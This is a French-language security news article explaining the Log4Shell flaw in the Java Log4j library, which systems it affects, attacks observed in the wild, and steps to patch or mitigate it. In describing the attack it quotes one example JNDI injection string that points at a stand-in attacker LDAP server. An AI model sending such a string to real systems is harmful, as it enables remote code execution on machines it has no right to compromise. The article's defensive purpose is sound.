Petite librairie enfouie dans de très nombreuses solutions logicielles et services Cloud, Log4j fait peser une menace de piratage sur de très nombreuses entreprises. Guide pour se débarrasser d’une vulnérabilité qui commence déjà à être activement exploitée par les pirates.
Avec un score de vulnérabilité de 10 sur une échelle de 10, la CVE-2021-44228 publiée le 9 décembre 2021 a semé un vent de panique chez les éditeurs de solutions, les fournisseurs Cloud et de nombreux RSSI en entreprises. Baptisée Log4Shell, cette vulnérabilité frappe en effet la librairie Java Log4J dont le rôle est simplement de générer le fichier de log d’activité d’une application. Identifiée la première fois le 24 novembre 2021 par l’équipe de sécurité d’Alibaba Cloud, elle a rapidement donné lieu à la publication d’une alerte de sécurité dont la gravité a immédiatement été comprise par les chercheurs en sécurité du monde entier.
Cette librairie est présente dans de nombreuses solutions Open source comme le framework Apache Struts 2, le moteur de recherche Solr, Apache Druid, Flink, Swift, ElasticSearch, Kafka, etc. De nombreux services Cloud et de nombreuses solutions commerciales sont aussi susceptibles d’embarquer cette petite librairie, à commencer par les produits Cisco, VMware, etc.
« Cette vulnérabilité est aussi dangereuse en raison de son échelle massive. Des millions d’applications utilisent Log4j » résume Sandy Carielli, analyste principal chez Forrester. « Les applications Internet constituent un système complexe d’interconnexion, ce qui rend difficile de savoir quelles applications pourraient être affectées, même les vôtres. Même si votre logiciel n’utilise pas directement Log4j, vous pouvez utiliser le logiciel de quelqu’un d’autre qui l’utilise et vous ne le savez peut-être pas. » « Pour expliquer au mieux cette vulnérabilité, nous avons utilisé la formule suivante, légèrement modifiée par @ramen0x3f : il existe une faiblesse dans un outil logiciel populaire utilisé par une grande partie de l’Internet. Lorsqu’un utilisateur saisit un certain texte dans ces applications, cela déclenche quelque chose dans l’outil qui lui donne le contrôle total de l’appareil sur lequel le logiciel est exécuté ».
Plusieurs chercheurs, dont ceux du NCSC (National Cyber Security Centre) britannique, ont cherché à dresser une liste des solutions concernées et l’état du patching de ces solutions… Ces listes démontrent que de très nombreux fournisseurs de services Cloud s’appuient sur Log4J. C’est le cas d’iCloud qui a rapidement été patché par Apple le 11 décembre, mais on parle aussi d’AWS, patché le 14 décembre, etc. Microsoft a été épargné à une exception près : Minecraft. Le jeu a rapidement bénéficié d’un patch et le site du jeu à inviter les joueurs qui hébergent leur propre serveur de le mettre à jour au plus vite pour ne pas s’exposer à une attaque. AWS a rapidement patché ses services concernés par la vulnérabilité, mais de nombreuses solutions restent vulnérables ou sous investigation.
Le modus operandi de Log4Shell
Pour résumer ce que les chercheurs en cybersécurité d’Alibaba Cloud ont découvert le 30 novembre 2021, c’est qu’il est possible de mener une injection de code malveillant via l’interface JNDI (Java Naming and Directory Interface) mise en œuvre par Log4j. Cette API fait partie de Java EE et elle est très commune dans le monde Java. Elle permet à une application Java de se connecter à des annuaires LDAP pour, par exemple, permettre à l’application de se connecter à sa base de données.
Pour l’attaquant, JNDI est une cible particulièrement intéressante car l’API permet de faire tourner du code à distance via RMI (Java Remote Method Invocation). La vulnérabilité de Log4j est de permettre à l’attaquant d’envoyer des instructions à JNDI sous la forme ${prefix:name} sans filtrage de la requête, c’est la fonction de Lookup Substitution qui est activée par défaut sur les versions concernées par Log4Shell. L’attaquant peut ainsi ordonner à Log4j de lancer son code malveillant en utilisant le protocole LDAP avec une requête de type : JNDI LDAP URL, ${jndi:ldap://serveurattaquant.com:1389/Codemalveillant}
Le risque d’attaque via Log4Shell n’a rien d’hypothétique. De nombreux chercheurs ont déjà repéré des attaques s’appuyant sur cette vulnérabilité pour lancer un code malveillant sur une machine. Le laboratoire WatchGuard a déjà identifié des tentatives de déposer des cryptominers, Bitdefender a identifié Khonsari, un ransomware qui se diffuse désormais via log4j, et Netlab360 le déploiement de botnets type Mirai ou Mushtik.
De facto, une hausse du trafic lié à ces attaques sur Log4j a été mesurée par de nombreux acteurs peu après la publication de la CVE-2021-44228. « Il y a déjà des exploits dans la nature, et les équipes de sécurité voient du trafic web avec des tentatives d’exploitation » souligne Sandy Carielli. La faille est désormais largement exploitée par les attaquants et il est impossible de ne pas prendre de mesures pour contrecarrer leurs attaques
Que faire maintenant ?
Le CERT-FR a publié son bulletin d’alerte dès le 10 décembre. Celui-ci donne quelques éléments techniques et livre quelques pistes pour neutraliser la menace.
La première urgence est de s’assurer que toutes les briques de sécurité ne sont pas affligées par la vulnérabilité Log4Shell. Il faut rapidement mettre à jour les firewalls et WAF. Les éditeurs de solutions de sécurité ont bien intégré la menace et ont aussi mis à disposition les signatures d’attaques pour leurs solutions de sécurité. Il faut activer ces règles de détection au plus vite, elles permettront d’écarter le plus gros de la menace.
Vient ensuite un gros travail d’épuration du système d’information des versions « dangereuses » de Log4j. Le point positif, c’est que seulement quelques versions de la librairie sont affligées de la vulnérabilité Log4Shell. Il s’agit des versions depuis la 2.0 jusqu’à la 2.14.1. Les versions précédentes ou suivantes sont potentiellement à l’abri d’une attaque. La version 2.15.0 de Log4j est rapidement venue apporter une solution à cette faille de sécurité. Néanmoins cette version revue et corrigée ne permettait pas de se prémunir du risque d’attaque Dos (Denial of Service). Quelques jours plus tard, Apache a publié la version 2.16 qui désactive par défaut JNDI et supprime les lookups, ce qui devrait clore cet épisode rocambolesque.
Il faut donc purger le plus vite possible toute l’infrastructure des versions compromises de Log4j. Sandy Carielli souligne : « Pour les applications développées et maintenues par votre organisation, l’exécution d’une analyse de la composition du logiciel (SCA) devrait vous indiquer si l’application possède la bibliothèque et comment elle est utilisée. S’il s’agit d’une application que vous avez acquise, recherchez sa nomenclature logicielle. La nomenclature logicielle (SBOM) est un concept émergeant dans l’industrie qui répertorie tous les composants logiciels individuels inclus dans un logiciel. » Ces nomenclatures sont maintenant obligatoires aux Etats-Unis pour les logiciels vendus aux entités du gouvernement américain et c’est certainement une bonne pratique à généraliser.
Plus globalement, les RSSI doivent désormais travailler avec les DSI pour répertorier toutes les solutions susceptibles d’embarquer une version à risque de log4j. Il faut s’assurer de la mise à jour rapide de ces applications vers cette version 2.16.0 pour celles qui exploitent une version de Java supérieure ou égale à 8, et migrer vers log4j 2.12.2 pour les machines qui tournent encore sur Java 7. Cette démarche d’assessment doit aussi être menée auprès de l’ensemble des fournisseurs de solutions Cloud. Le RSSI doit s’assurer que ceux qui exploitent les versions « à risque » de Log4j dans leur architecture ont bien mis à jour les librairies incriminées sur l’ensemble de leurs infrastructures.
Alain Clapaud
